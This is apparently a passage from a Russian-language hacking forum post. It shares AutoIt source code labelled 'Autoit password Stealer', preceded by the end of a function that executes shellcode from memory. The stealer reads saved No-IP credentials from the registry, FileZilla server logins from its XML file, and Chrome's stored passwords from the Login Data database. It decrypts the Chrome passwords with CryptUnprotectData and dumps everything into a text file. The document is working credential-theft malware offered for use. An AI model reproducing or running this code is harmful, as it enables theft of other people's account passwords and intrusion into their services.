    Local $DataStruct = DllStructCreate("byte data[" & StringLen($Data) & "]")
    DllStructSetData($DataStruct, "data", $Data)
    Local $KeyStruct = DllStructCreate("byte key[" & StringLen($Key) & "]")
    DllStructSetData($KeyStruct, "key", $Key)
    Local $Ret = DllCallAddress("none:cdecl", $lpShellcode, "ptr", DllStructGetPtr($DataStruct), "dword", DllStructGetSize($DataStruct), "ptr", DllStructGetPtr($KeyStruct), "dword", DllStructGetSize($KeyStruct))
    DllCall("kernel32", "dword", "VirtualFree", "ptr", $lpShellcode, "dword", 0, "dword", 0x8000)
    Return BinaryToString(DllStructGetData($DataStruct, "data"))
EndFunc
[/CLIKE]
 
Autoit password Stealer


[CLIKE]
C:
#include <SQLite.au3>
#include <SQLite.dll.au3>
 
$file=@ScriptDir &"\Passwords.txt"
if FileExists($file) then FileDelete($file)
$file_handle= fileopen($file ,1)
if $file_handle<>-1 Then
        FileWrite($file_handle,noip() & chrome() & FileZilla() )
        FileFlush($file_handle)
        FileClose($file_handle)
endif
 
Func NOIP()
$USR=RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC","Username")
if $USR="" then return ""
$PWD=RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC","Password")
Return "URL: http://no-ip.com/" & @crlf & "USR: " & $usr & @CRLF & "PWD (Base64): " & $pwd & @crlf & @CRLF
EndFunc
 
Func FileZilla()
Local $pwds,$h,$FN=EnvGet("appdata") &"\FileZilla\recentservers.xml"
if FileExists($fn)=false then return ""
$h= Fileopen($fn,0)
if $h=-1 then return ""
$host=""
$port=21
$usr=""
$pass=""
While True
        $line= FileReadLine($h)
         If @error = -1 Then ExitLoop
         if StringInStr($line,"<Host>") Then
                 $usr=""
                 $pass=""
                 $port=21
                 $host= StringMid($line,1,StringInStr($line,"</")-1)
                 $host= StringMid($host,StringInStr($host,">")+1)
         EndIf
         if StringInStr($line,"<Port>") Then
                 $port= StringMid($line,1,StringInStr($line,"</")-1)
                 $port= StringMid($port,StringInStr($port,">")+1)
         EndIf
         if StringInStr($line,"<User>") Then
                 $usr= StringMid($line,1,StringInStr($line,"</")-1)
                 $usr= StringMid($usr,StringInStr($usr,">")+1)
         EndIf
         if StringInStr($line,"<Pass>") Then
                 $pass= StringMid($line,1,StringInStr($line,"</")-1)
                 $pass= StringMid($pass,StringInStr($pass,">")+1)
         EndIf
         if StringInStr($line,"</Server>") Then
        $pwds = $pwds & "URL: ftp://" & $host  &":" & $port & @CRLF & "USR: " & $usr & @CRLF & "PWD: " & $pass & @crlf & @CRLF
         EndIf
WEnd
Return $pwds
EndFunc
Func Chrome()
Local $Q, $R, $PWDS,$fn= RegRead('HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', 'Local AppData') & "\Google\Chrome\User Data\Default\Login Data"
if FileExists($fn)=False then return ""
_SQLite_Startup()
_SQLite_Open($fn)
_SQLite_Query(-1, "SELECT * FROM logins;", $Q)
While _SQLite_FetchData($Q, $r) = 0
$pwds =   $pwds  & "URL: "& $r[0] & @CRLF &"USR: "& $r[3] & @crlf &"PWD: "& UncryptRDPPassword( $r[5]) & @CRLF & @CRLF
WEnd
_SQLite_Close()
_SQLite_Shutdown()
Return $pwds
EndFunc
 
Func UncryptRDPPassword($bin)
;This Func From >> http://www.autoitscript.com/forum/topic/96783-dllcall-for-cryptunprotectdata/#entry695769
    Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
    Local Const $DATA_BLOB = "int;ptr"
 
    Local $passStr = DllStructCreate("byte[1024]")
    Local $DataIn = DllStructCreate($DATA_BLOB)
    Local $DataOut = DllStructCreate($DATA_BLOB)
    $pwDescription = 'psw'
    $PwdHash = ""
 
    DllStructSetData($DataOut, 1, 0)
    DllStructSetData($DataOut, 2, 0)
 
    DllStructSetData($passStr, 1, $bin)
    DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
    DllStructSetData($DataIn, 1, BinaryLen($bin))
 
    $return = DllCall("crypt32.dll","int", "CryptUnprotectData", _
                                    "ptr", DllStructGetPtr($DataIn), _
                                    "ptr", 0, _
                                    "ptr", 0, _
                                    "ptr", 0, _
                                    "ptr", 0, _
                                    "dword", $CRYPTPROTECT_UI_FORBIDDEN, _
                                    "ptr", DllStructGetPtr($DataOut))
    If @error Then Return ""
 
    $len = DllStructGetData($DataOut, 1)
    $PwdHash = Ptr(DllStructGetData($DataOut, 2))
    $PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
    Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
EndFunc
[/CLIKE]
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх